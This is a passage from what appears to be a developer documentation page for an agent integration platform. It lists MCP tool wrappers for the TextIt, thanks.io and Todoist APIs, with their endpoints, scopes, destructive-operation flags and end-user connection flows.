the complete new tag list -- and `templateId` names the template. To add tags without losing the existing ones, use the add-tags tool instead. This REPLACES the whole tag set rather than adding to it: any tag not in the body is dropped. PUT /api/v1/templated/v1/template/{templateId}/tags. Scopes: api. ================================================================================ ## TextIt URL: https://www.agenticfabriq.com/integrations/textit Section: Integrated Tools TextIt — 47 MCP tools Provider key: textit. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. textit_delete_campaign_events_json_uuid_by_uuid (write, destructive) — This endpoint allows you to list campaign events in your account. A DELETE can be used to delete a campaign event if you specify its UUID in the URL. You will receive either a 204 response if an event was deleted, or a 404 response if no matching event was found. via DELETE /campaign_events.json DELETE /api/v1/textit/campaign_events/by-uuid. Scopes: api. textit_delete_contacts_json_urn_by_urn (write, destructive) — This endpoint allows you to list, create, update and delete contacts in your account. A DELETE can also be used to delete an existing contact if you specify either its UUID or one of its URNs in the URL. You will receive either a 204 response if a contact was deleted, or a 404 response if no matching contact was found. This tool selects the contact by URN (the `urn` argument); the sibling tool selects by UUID. via DELETE /contacts.json DELETE /api/v1/textit/contacts/by-urn. Scopes: api. textit_delete_contacts_json_uuid_by_uuid (write, destructive) — This endpoint allows you to list, create, update and delete contacts in your account. A DELETE can also be used to delete an existing contact if you specify either its UUID or one of its URNs in the URL. You will receive either a 204 response if a contact was deleted, or a 404 response if no matching contact was found. This tool selects the contact by its UUID (the `uuid` argument); the sibling tool selects by URN. via DELETE /contacts.json DELETE /api/v1/textit/contacts/by-uuid. Scopes: api. textit_delete_groups_json_uuid_by_uuid (write, destructive) — This endpoint allows you to list, create, update and delete contact groups in your account. A DELETE can be used to delete a contact group if you specify its UUID in the URL. Notes: - cannot delete groups with associated active campaigns or triggers. You first need to delete related objects through the web interface You will receive either a 204 response if a group was deleted, or a 404 response if no matching group was found. via DELETE /groups.json DELETE /api/v1/textit/groups/by-uuid. Scopes: api. textit_delete_labels_json_uuid_by_uuid (write, destructive) — This endpoint allows you to list, create, update and delete message labels in your account. A DELETE can be used to delete a message label if you specify its UUID in the URL. You will receive either a 204 response if a label was deleted, or a 404 response if no matching label was found. via DELETE /labels.json DELETE /api/v1/textit/labels/by-uuid. Scopes: api. textit_delete_resthook_subscribers_json_id_by_id (write, destructive) — This endpoint allows you to list, add or remove subscribers to resthooks. A DELETE can be used to delete a subscription if you specify its id in the URL. You will receive either a 204 response if a subscriber was deleted, or a 404 response if no matching subscriber was found. via DELETE /resthook_subscribers.json DELETE /api/v1/textit/resthook_subscribers/by-id. Scopes: api. textit_get_archives_json (read) — This endpoint allows you to list the data archives associated with your account. A GET returns the archives for your organization with the following fields. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /archives.json GET /api/v1/textit/archives. Scopes: api. textit_get_broadcasts_json (read) — This endpoint allows you to send new message broadcasts and list existing broadcasts in your account. A GET returns the outgoing message activity for your organization, listing the most recent messages first. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /broadcasts.json GET /api/v1/textit/broadcasts. Scopes: api. textit_get_campaign_events_json (read) — This endpoint allows you to list campaign events in your account. A GET returns the campaign events, listing the most recently created events first. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /campaign_events.json GET /api/v1/textit/campaign_events. Scopes: api. textit_get_campaigns_json (read) — This endpoint allows you to list campaigns in your account. A GET returns the campaigns, listing the most recently created campaigns first. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /campaigns.json GET /api/v1/textit/campaigns. Scopes: api. textit_get_channels_json (read) — This endpoint allows you to list channels in your account. A GET returns the list of channels for your organization, in the order of last created. Note that for Android devices, all status information is as of the last time it was seen and can be null before the first sync. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /channels.json GET /api/v1/textit/channels. Scopes: api. textit_get_contacts_json (read) — This endpoint allows you to list, create, update and delete contacts in your account. A GET returns the list of contacts for your organization, in the order of last modified. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /contacts.json GET /api/v1/textit/contacts. Scopes: api. textit_get_fields_json (read) — This endpoint allows you to list custom contact fields in your account. A GET returns the list of custom contact fields for your organization, in the order of last created. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /fields.json GET /api/v1/textit/fields. Scopes: api. textit_get_flow_starts_json (read) — This endpoint allows you to list manual flow starts in your account, and add or start contacts in a flow. By making a GET request you can list all the manual flow starts on your organization, in the order of last modified. Each flow start has the following attributes: Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /flow_starts.json GET /api/v1/textit/flow_starts. Scopes: api. textit_get_flows_json (read) — This endpoint allows you to list flows in your account. A GET returns the list of flows for your organization, in the order of last created. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /flows.json GET /api/v1/textit/flows. Scopes: api. textit_get_globals_json (read) — This endpoint allows you to list, create, and update active globals on your account. A GET returns the globals for your organization, most recently modified first. via GET /globals.json GET /api/v1/textit/globals. Scopes: api. textit_get_groups_json (read) — This endpoint allows you to list, create, update and delete contact groups in your account. A GET returns the list of contact groups for your organization, in the order of last created. You can also pass manual_only=1 to restrict the results to static (manual) groups — i.e. those whose members can be added or removed directly (smart and system groups are excluded). Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /groups.json GET /api/v1/textit/groups. Scopes: api. textit_get_labels_json (read) — This endpoint allows you to list, create, update and delete message labels in your account. A GET returns the list of message labels for your organization, in the order of last created. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /labels.json GET /api/v1/textit/labels. Scopes: api. textit_get_messages_json (read) — This endpoint allows you to list messages in your account. A GET returns the messages for your organization, filtering them as needed. Each message has the following attributes: You can also filter by folder where folder is one of inbox, flows, archived, outbox, sent or failed. Results are sorted by the message creation date, most recent first. Without any parameters this endpoint will return all incoming and outgoing messages ordered by creation date. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /messages.json GET /api/v1/textit/messages. Scopes: api. textit_get_resthook_events_json (read) — This endpoint lists recent events for the passed in Resthook. A GET returns the recent resthook events on your organization. Each event has the following attributes: Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /resthook_events.json GET /api/v1/textit/resthook_events. Scopes: api. textit_get_resthook_subscribers_json (read) — This endpoint allows you to list, add or remove subscribers to resthooks. A GET returns the subscribers on your organization. Each resthook subscriber has the following attributes: Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /resthook_subscribers.json GET /api/v1/textit/resthook_subscribers. Scopes: api. textit_get_resthooks_json (read) — This endpoint allows you to list configured resthooks in your account. A GET returns the resthooks on your organization. Each resthook has the following attributes: via GET /resthooks.json GET /api/v1/textit/resthooks. Scopes: api. textit_get_runs_json (read) — This endpoint allows you to fetch flow runs. A run represents a single contact's path through a flow and is created each time a contact is started in a flow. A GET request returns the flow runs for your organization, filtering them as needed. Each run has the following attributes: Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /runs.json GET /api/v1/textit/runs. Scopes: api. textit_get_tickets_json (read) — This endpoint allows you to list the tickets opened on your account. A GET returns the tickets for your organization, most recent first. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /tickets.json GET /api/v1/textit/tickets. Scopes: api. textit_get_topics_json (read) — This endpoint allows you to list the topics in your workspace. A GET returns the topics for your organization, most recent first. via GET /topics.json GET /api/v1/textit/topics. Scopes: api. textit_get_users_json (read) — This endpoint allows you to list the user logins in your workspace. A GET returns the users in your workspace, ordered by newest created first. Filters are silently ignored when misspelt: TextIt answers 200 with the UNFILTERED list rather than rejecting an unrecognised query parameter (measured 2026-09-16). via GET /users.json GET /api/v1/textit/users. Scopes: api. textit_get_workspace_json (read) — This endpoint allows you to view details about your workspace. A GET returns the details of your workspace. There are no parameters. via GET /workspace.json GET /api/v1/textit/workspace. Scopes: api. textit_post_broadcasts_json (write) — This endpoint allows you to send new message broadcasts and list existing broadcasts in your account. A POST allows you to create and send new broadcasts. Attachments are media object UUIDs returned from POSTing to the media endpoint. You will receive a response containing the message broadcast created: via POST /broadcasts.json POST /api/v1/textit/broadcasts. Scopes: api. textit_post_campaign_events_json (write) — This endpoint allows you to list campaign events in your account. A POST can be used to create a new campaign event, by sending the following data. Don't specify a UUID as this will be generated for you. You will receive an event object as a response if successful: via POST /campaign_events.json POST /api/v1/textit/campaign_events. Scopes: api. textit_post_campaign_events_json_uuid_by_uuid (write) — This endpoint allows you to list campaign events in your account. A POST can also be used to update an existing campaign event if you specify its UUID in the URL. via POST /campaign_events.json POST /api/v1/textit/campaign_events/by-uuid. Scopes: api. textit_post_campaigns_json (write) — This endpoint allows you to list campaigns in your account. A POST can be used to create a new campaign, by sending the following data. Don't specify a UUID as this will be generated for you. You will receive a campaign object as a response if successful: via POST /campaigns.json POST /api/v1/textit/campaigns. Scopes: api. textit_post_campaigns_json_uuid_by_uuid (write) — This endpoint allows you to list campaigns in your account. A POST can also be used to update an existing campaign if you specify its UUID in the URL. via POST /campaigns.json POST /api/v1/textit/campaigns/by-uuid. Scopes: api. textit_post_contacts_json (write) — This endpoint allows you to list, create, update and delete contacts in your account. You can add a new contact to your account by sending a POST request to this URL with the following JSON data: You will receive a contact object as a response if successful: via POST /contacts.json POST /api/v1/textit/contacts. Scopes: api. textit_post_contacts_json_urn_by_urn (write) — This endpoint allows you to list, create, update and delete contacts in your account. A POST can also be used to update an existing contact if you specify either its UUID or one of its URNs in the URL. Only those fields included in the body will be changed on the contact. If providing a URN in the URL then don't include URNs in the body. Also note that we will create a new contact if there is no contact with that URN. You will receive a 201 response if this occurs. This tool selects the contact by URN (the `urn` argument). It is an UPSERT: TextIt creates a new contact when no contact has that URN and answers 201 (documented in the section above and measured 2026-09-16). Do not include `urns` in the body when selecting by URN. via POST /contacts.json POST /api/v1/textit/contacts/by-urn. Scopes: api. textit_post_contacts_json_uuid_by_uuid (write) — This endpoint allows you to list, create, update and delete contacts in your account. A POST can also be used to update an existing contact if you specify either its UUID or one of its URNs in the URL. Only those fields included in the body will be changed on the contact. If providing a URN in the URL then don't include URNs in the body. Also note that we will create a new contact if there is no contact with that URN. You will receive a 201 response if this occurs. This tool selects the contact by its UUID (the `uuid` argument); the sibling tool selects by URN. via POST /contacts.json POST /api/v1/textit/contacts/by-uuid. Scopes: api. textit_post_fields_json (write) — This endpoint allows you to list custom contact fields in your account. A POST can be used to create a new contact field. Don't specify a key as this will be generated for you. You will receive a field object (with the new field key) as a response if successful: via POST /fields.json POST /api/v1/textit/fields. Scopes: api. textit_post_fields_json_key_by_key (write) — This endpoint allows you to list custom contact fields in your account. A POST can also be used to update an existing field if you include it's key in the URL. You will receive the updated field object as a response if successful: via POST /fields.json POST /api/v1/textit/fields/by-key. Scopes: api. textit_post_flow_starts_json (write) — This endpoint allows you to list manual flow starts in your account, and add or start contacts in a flow. By making a POST request with the contacts, groups and URNs you want to start down a flow you can trigger a flow start. Note that contacts will be added to the flow asynchronously, you can use the runs endpoint to monitor the runs created by this start. via POST /flow_starts.json POST /api/v1/textit/flow_starts. Scopes: api. textit_post_globals_json (write) — This endpoint allows you to list, create, and update active globals on your account. A POST can be used to create a new Global. Don't specify a key as this will be generated for you. You will receive a global object as a response if successful: via POST /globals.json POST /api/v1/textit/globals. Scopes: api. textit_post_globals_json_key_by_key (write) — This endpoint allows you to list, create, and update active globals on your account. A POST can also be used to update an existing global if you specify its key in the URL. You will receive the updated global object as a response if successful: via POST /globals.json POST /api/v1/textit/globals/by-key. Scopes: api. textit_post_groups_json (write) — This endpoint allows you to list, create, update and delete contact groups in your account. A POST can be used to create a new contact group. Don't specify a UUID as this will be generated for you. You will receive a group object as a response if successful: via POST /groups.json POST /api/v1/textit/groups. Scopes: api. textit_post_groups_json_uuid_by_uuid (write) — This endpoint allows you to list, create, update and delete contact groups in your account. A POST can also be used to update an existing contact group if you specify its UUID in the URL. You will receive the updated group object as a response if successful: via POST /groups.json POST /api/v1/textit/groups/by-uuid. Scopes: api. textit_post_labels_json (write) — This endpoint allows you to list, create, update and delete message labels in your account. A POST can be used to create a new message label. Don't specify a UUID as this will be generated for you. You will receive a label object as a response if successful: via POST /labels.json POST /api/v1/textit/labels. Scopes: api. textit_post_labels_json_uuid_by_uuid (write) — This endpoint allows you to list, create, update and delete message labels in your account. A POST can also be used to update an existing message label if you specify its UUID in the URL. You will receive the updated label object as a response if successful: via POST /labels.json POST /api/v1/textit/labels/by-uuid. Scopes: api. textit_post_messages_json (write) — This endpoint allows you to list messages in your account. A POST can be used to create and send a new message. Attachments are media object UUIDs returned from POSTing to the media endpoint. You will receive the new message object as a response if successful: via POST /messages.json POST /api/v1/textit/messages. Scopes: api. textit_post_resthook_subscribers_json (write) — This endpoint allows you to list, add or remove subscribers to resthooks. By making a POST request with the event you want to subscribe to and the target URL, you can subscribe to be notified whenever your resthook event is triggered. via POST /resthook_subscribers.json POST /api/v1/textit/resthook_subscribers. Scopes: api. textit_post_topics_json (write) — This endpoint allows you to list the topics in your workspace. By making a POST request with a unique name you can create a new topic. via POST /topics.json POST /api/v1/textit/topics. Scopes: api. ================================================================================ ## thanks.io URL: https://www.agenticfabriq.com/integrations/thanks_io Section: Integrated Tools thanks.io — 41 MCP tools Provider key: thanks_io. Scopes: api. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. thanks_io_delete_mailing_lists_by_mailinglistid (write, destructive) — Delete Mailing List. DELETE /mailing-lists/{mailingListId}. DELETE /api/v1/thanks_io/mailing-lists/{mailingListId}. Scopes: api. thanks_io_delete_message_templates_by_messagetemplateid (write, destructive) — Delete Message Template. DELETE /message-templates/{messageTemplateId}. Delete a message template. DELETE /api/v1/thanks_io/message-templates/{messageTemplateId}. Scopes: api. thanks_io_delete_recipients_by_recipientid (write, destructive) — Delete Recipient. DELETE /recipients/{recipientId}. DELETE /api/v1/thanks_io/recipients/{recipientId}. Scopes: api. thanks_io_delete_sub_accounts_by_subaccountid (write, destructive) — Delete Sub Account. DELETE /sub-accounts/{subAccountId}. All sub account orders and mailing lists are moved to the main account. All image templates, message templates, and campaigns are deleted. DELETE /api/v1/thanks_io/sub-accounts/{subAccountId}. Scopes: api. thanks_io_delete_webhooks_by_webhookid (write, destructive) — Delete Webhook. DELETE /webhooks/{webhookId}. Delete a webhook destination. Webhooks are available on paid subscriptions only. DELETE /api/v1/thanks_io/webhooks/{webhookId}. Scopes: api. thanks_io_get_giftcard_brands (read) — List Brands. GET /giftcard-brands. List all available Giftcard brands. Reference data: thanks.io serves this endpoint without a credential, so it answers the same for every connection. GET /api/v1/thanks_io/giftcard-brands. Scopes: api. thanks_io_get_giftcard_brands_list (read) — List Brands Flat. GET /giftcard-brands-list. List all available Giftcard brands as a flat list. Reference data: thanks.io serves this endpoint without a credential, so it answers the same for every connection. GET /api/v1/thanks_io/giftcard-brands-list. Scopes: api. thanks_io_get_handwriting_styles (read) — List Styles. GET /handwriting-styles. List Available Handwriting Styles Reference data: thanks.io serves this endpoint without a credential, so it answers the same for every connection. GET /api/v1/thanks_io/handwriting-styles. Scopes: api. thanks_io_get_image_templates (read) — Image Templates: List All. GET /image-templates. List all available image templates. GET /api/v1/thanks_io/image-templates. Scopes: api. thanks_io_get_mailing_lists (read) — Mailing Lists: List All. GET /mailing-lists. List all available mailing lists. Returns a paginated list of mailing lists. GET /api/v1/thanks_io/mailing-lists. Scopes: api. thanks_io_get_mailing_lists_by_mailinglistid (read) — Mailing Lists: Get Details. GET /mailing-lists/{mailingListId}. Gets a mailing list by ID. Returns a single mailing list object. GET /api/v1/thanks_io/mailing-lists/{mailingListId}. Scopes: api. thanks_io_get_mailing_lists_utils_recipients_by_mailinglistid (read) — List Recipients. GET /mailing-lists-utils/recipients/{mailingListId}. Retrieve recipients for a specific mailing list. GET /api/v1/thanks_io/mailing-lists-utils/recipients/{mailingListId}. Scopes: api. thanks_io_get_message_templates (read) — Message Templates: List All. GET /message-templates. List all available message templates. GET /api/v1/thanks_io/message-templates. Scopes: api. thanks_io_get_message_templates_by_messagetemplateid (read) — Get Message Template. GET /message-templates/{messageTemplateId}. Fetch a single message template by ID. GET /api/v1/thanks_io/message-templates/{messageTemplateId}. Scopes: api. thanks_io_get_orders_by_orderid_items (read) — List Order Items. GET /orders/{orderId}/items. Return the individual mail pieces that make up an order, one entry per recipient, with that piece's delivery status, delivery date, QR scan count, failure reason and recipient address. Use this when you need per-piece detail; Track Order returns the same order as aggregate counts instead. Results are paginated and ordered by item ID, ascending. The order must belong to the authenticated account. For gift card orders each item also carries the gift card's `brand` and `amount`. The recipient's ten custom fields come back alongside the address, so the data you merged into the piece is available with it. Message content, creative and preview images, and per-item pricing are not part of this response; read those from the order itself. GET /api/v1/thanks_io/orders/{orderId}/items. Scopes: api. thanks_io_get_orders_by_orderid_track (read) — Track Order. GET /orders/{orderId}/track. Return Summary of delivery status for the order. GET /api/v1/thanks_io/orders/{orderId}/track. Scopes: api. thanks_io_get_orders_list (read) — List Orders. GET /orders/list. Return list of recent orders. GET /api/v1/thanks_io/orders/list. Scopes: api. thanks_io_get_recipients_by_recipientid (read) — Get Recipient. GET /recipients/{recipientId}. Get a recipient by ID. GET /api/v1/thanks_io/recipients/{recipientId}. Scopes: api. thanks_io_get_sub_accounts (read) — Sub Accounts: List All. GET /sub-accounts. List all available sub-accounts. GET /api/v1/thanks_io/sub-accounts. Scopes: api. thanks_io_get_sub_accounts_by_subaccountid (read) — Sub Accounts: Get Details. GET /sub-accounts/{subAccountId}. Gets a sub-account by ID. Returns a single sub-account object. branding_fields is an object that contains branding information for the sub-account - it can only be set via the thanks.io dashboard GET /api/v1/thanks_io/sub-accounts/{subAccountId}. Scopes: api. thanks_io_get_webhooks (read) — List Webhooks. GET /webhooks. Return a paginated list of configured webhooks. Webhooks are available on paid subscriptions only. GET /api/v1/thanks_io/webhooks. Scopes: api. thanks_io_patch_message_templates_by_messagetemplateid (write) — Update Message Template. PATCH /message-templates/{messageTemplateId}. Update a message template using the public v2 request shape. PATCH /api/v1/thanks_io/message-templates/{messageTemplateId}. Scopes: api. thanks_io_post_mailing_lists (write) — Create Mailing List. POST /mailing-lists. If qrcode_url is provided, it will be used as the default QR Code URL when placing orders with this mailing list. POST /api/v1/thanks_io/mailing-lists. Scopes: api. thanks_io_post_mailing_lists_utils_buy_radius_search (write) — Radius Search. POST /mailing-lists-utils/buy-radius-search. This call will purchase a radius search mailing listing and add it to your account. Each record added to the mailing list costs $.05. You can specify the number of records to return (up to 2,500) and the address/postal code to center the search around. You can also specify a mailing_list_id to add the results to an existing mailing list, or leave it blank to create a new mailing list. While API/Zapier Test Mode is enabled on the account, this endpoint is limited to 5 records per purchase — test mode cancels orders, but buying a radius search is not an order and is charged in full, so the limit is what keeps an integration under development from buying a full list by accident. POST /api/v1/thanks_io/mailing-lists-utils/buy-radius-search. Scopes: api. thanks_io_post_message_templates (write) — Create Message Template. POST /message-templates. Create a message template for the authenticated user using the public v2 request shape. POST /api/v1/thanks_io/message-templates. Scopes: api. thanks_io_post_orders_by_orderid_replay (write) — Replay Order. POST /orders/{orderId}/replay. Submit a copy of a previously placed order as a brand-new order. The same creative is charged and mailed again, and the original order is left untouched. By default the replay is sent to the recipients the original actually reached (failed items are excluded). Supply a `recipients` array to send the same creative to a different audience instead. Only settled, non-cancelled orders can be replayed. The replay is a fresh order that runs through the normal fulfillment pipeline, including Address Verification, Duplicate Prevention and suppression lists. POST /api/v1/thanks_io/orders/{orderId}/replay. Scopes: api. thanks_io_post_recipients (write) — Create Recipient. POST /recipients. Add a recipient. If you do not provide a valid mailing address but do provide a valid email address, thanks.io can attempt to look up a street address for an additional fee. POST /api/v1/thanks_io/recipients. Scopes: api. thanks_io_post_recipients_utils_create_multiple (write) — Create Multiple Recipients. POST /recipients-utils/create-multiple. Add multiple recipients at once using a JSON array of recipient objects. If a recipient does not include a valid mailing address but does include a valid email address, thanks.io can attempt to look up a street address for an additional fee. POST /api/v1/thanks_io/recipients-utils/create-multiple. Scopes: api. thanks_io_post_recipients_utils_delete_by_address (write, destructive) — Delete Recipient By Address. POST /recipients-utils/delete-by-address. Delete a recipient by using their address or their email address. POST /api/v1/thanks_io/recipients-utils/delete-by-address. Scopes: api. thanks_io_post_send_giftcard (write) — Send Giftcard. POST /send/giftcard. Send a folded 4.25x5.5 giftcard in envelope. POST /api/v1/thanks_io/send/giftcard. Scopes: api. thanks_io_post_send_magnacard (write) — Send Magnacard. POST /send/magnacard. Send a Magnacard. POST /api/v1/thanks_io/send/magnacard. Scopes: api. thanks_io_post_send_notecard (write) — Send Notecard. POST /send/notecard. Send a folded 4.25x5.5 notecard in envelope. POST /api/v1/thanks_io/send/notecard. Scopes: api. thanks_io_post_send_postcard (write) — Send Postcard. POST /send/postcard. Send a 4x6, 6x9, or 6x11 postcard. POST /api/v1/thanks_io/send/postcard. Scopes: api. thanks_io_post_send_windowedletter (write) — Send Windowed Letter. POST /send/windowedletter. Send a letter in a windowed envelope. POST /api/v1/thanks_io/send/windowedletter. Scopes: api. thanks_io_post_send_windowlessletter (write) — Send Windowless Letter. POST /send/windowlessletter. Send a letter in a windowless envelope. POST /api/v1/thanks_io/send/windowlessletter. Scopes: api. thanks_io_post_sub_accounts (write) — Create Sub Account. POST /sub-accounts. Create a new sub-account. POST /api/v1/thanks_io/sub-accounts. Scopes: api. thanks_io_post_webhooks (write) — Create Webhook. POST /webhooks. Create a webhook destination. Webhooks are available on paid subscriptions only. POST /api/v1/thanks_io/webhooks. Scopes: api. thanks_io_put_orders_by_orderid_cancel (write, destructive) — Cancel Order. PUT /orders/{orderId}/cancel. If Order is in _Reviewing_ Status, then this will cancel the order and refund the credits for the order back to your account. If the order can be successfully canceled, the status will be updated to _cancelled_. PUT /api/v1/thanks_io/orders/{orderId}/cancel. Scopes: api. thanks_io_put_recipients_by_recipientid (write) — Update Recipient. PUT /recipients/{recipientId}. Update details of a specific recipient by ID. PUT /api/v1/thanks_io/recipients/{recipientId}. Scopes: api. thanks_io_put_sub_accounts_by_subaccountid (write) — Update Sub Account. PUT /sub-accounts/{subAccountId}. PUT /api/v1/thanks_io/sub-accounts/{subAccountId}. Scopes: api. thanks_io_put_webhooks_by_webhookid (write) — Update Webhook. PUT /webhooks/{webhookId}. Update an existing webhook destination. Webhooks are available on paid subscriptions only. PUT /api/v1/thanks_io/webhooks/{webhookId}. Scopes: api. ================================================================================ ## Todoist URL: https://www.agenticfabriq.com/integrations/todoist Section: Integrated Tools Todoist — 102 MCP tools Provider key: todoist. Scopes: backups:read, data:delete, data:read, data:read_write, project:delete. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. todoist_delete_api_v1_access_tokens (write, destructive) — Revoke the access tokens obtained via OAuth via DELETE /api/v1/access_tokens DELETE /api/v1/todoist/access_tokens. Scopes: data:delete. todoist_delete_api_v1_comments_by_comment_id (write, destructive) — Delete a comment by ID via DELETE /api/v1/comments/{comment_id} DELETE /api/v1/todoist/comments/{comment_id}. Scopes: data:delete. todoist_delete_api_v1_emails (write, destructive) — Disable the current email to a Todoist object via DELETE /api/v1/emails DELETE /api/v1/todoist/emails. Scopes: data:delete. todoist_delete_api_v1_folders_by_folder_id (write, destructive) — Delete a folder. Projects in the folder will be moved out of it. via DELETE /api/v1/folders/{folder_id} DELETE /api/v1/todoist/folders/{folder_id}. Scopes: data:delete. todoist_delete_api_v1_labels_by_label_id (write, destructive) — Deletes a personal label. All instances of the label will be removed from tasks via DELETE /api/v1/labels/{label_id} DELETE /api/v1/todoist/labels/{label_id}. Scopes: data:delete. todoist_delete_api_v1_location_reminders_by_reminder_id (write, destructive) — Delete a location reminder by ID. via DELETE /api/v1/location_reminders/{reminder_id} DELETE /api/v1/todoist/location_reminders/{reminder_id}. Scopes: data:delete. todoist_delete_api_v1_projects_by_project_id (write, destructive) — Deletes a project and all of its sections and tasks. via DELETE /api/v1/projects/{project_id} DELETE /api/v1/todoist/projects/{project_id}. Scopes: project:delete. todoist_delete_api_v1_reminders_by_reminder_id (write, destructive) — Delete a reminder by ID. via DELETE /api/v1/reminders/{reminder_id} DELETE /api/v1/todoist/reminders/{reminder_id}. Scopes: data:delete. todoist_delete_api_v1_sections_by_section_id (write, destructive) — Delete the section and all of its tasks via DELETE /api/v1/sections/{section_id} DELETE /api/v1/todoist/sections/{section_id}. Scopes: data:delete. todoist_delete_api_v1_tasks_by_task_id (write, destructive) — Delete a task and all of its subtasks. Returns `NOT_FOUND` when the task does not exist and `FORBIDDEN` when the authenticated user cannot modify the task. via DELETE /api/v1/tasks/{task_id} DELETE /api/v1/todoist/tasks/{task_id}. Scopes: data:delete. todoist_delete_api_v1_uploads (write, destructive) — Delete an uploaded file. The file must belong to the authenticated user. Returns `FILE_NOT_FOUND` when the upload cannot be found. via DELETE /api/v1/uploads DELETE /api/v1/todoist/uploads. Scopes: data:delete. todoist_delete_api_v1_workspaces_by_workspace_id (write, destructive) — Deletes a workspace. via DELETE /api/v1/workspaces/{workspace_id} DELETE /api/v1/todoist/workspaces/{workspace_id}. Scopes: data:delete. todoist_delete_api_v1_workspaces_by_workspace_id_users_by_user_id (write, destructive) — Removes a user from a workspace. via DELETE /api/v1/workspaces/{workspace_id}/users/{user_id} DELETE /api/v1/todoist/workspaces/{workspace_id}/users/{user_id}. Scopes: data:delete. todoist_get_api_v1_activities (read) — Get activity logs. Returns a paginated list of activity events for the user. Events can be filtered by object type (project, item, note, section), event type, and other criteria. Uses cursor-based pagination for efficient navigation through results. via GET /api/v1/activities GET /api/v1/todoist/activities. Scopes: data:read. todoist_get_api_v1_backups (read) — Todoist creates a backup archive of users' data on a daily basis. Backup archives can also be accessed from the web app (Todoist Settings -> Backups). This endpoint accepts the `backups:read` scope, the `data:read_write` scope, or a personal API token. The `backups:read` scope bypasses MFA and only grants access to `GET /api/v1/backups`. When using `data:read_write` or a personal API token for an account with MFA enabled, the MFA token is required. via GET /api/v1/backups GET /api/v1/todoist/backups. Scopes: backups:read. todoist_get_api_v1_backups_download (read) — Download a backup archive. This endpoint requires the `data:read_write` scope. The `backups:read` scope only grants access to `GET /api/v1/backups`. Validates that the requested backup belongs to the authenticated user and redirects to a signed CloudFront URL that expires after one minute. via GET /api/v1/backups/download GET /api/v1/todoist/backups/download. Scopes: data:read_write. todoist_get_api_v1_comments (read) — Get all comments for a given task or project. Exactly one of `task_id` or `project_id` arguments is required. Providing neither or both will return an error. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/comments GET /api/v1/todoist/comments. Scopes: data:read. todoist_get_api_v1_comments_by_comment_id (read) — Returns a single comment by ID via GET /api/v1/comments/{comment_id} GET /api/v1/todoist/comments/{comment_id}. Scopes: data:read. todoist_get_api_v1_folders (read) — Get all folders for a workspace. This is a paginated endpoint. See the [Pagination guide](#tag/Pagination) for details on using cursor-based pagination. via GET /api/v1/folders GET /api/v1/todoist/folders. Scopes: data:read. todoist_get_api_v1_folders_by_folder_id (read) — Return the folder for the given folder ID. via GET /api/v1/folders/{folder_id} GET /api/v1/todoist/folders/{folder_id}. Scopes: data:read. 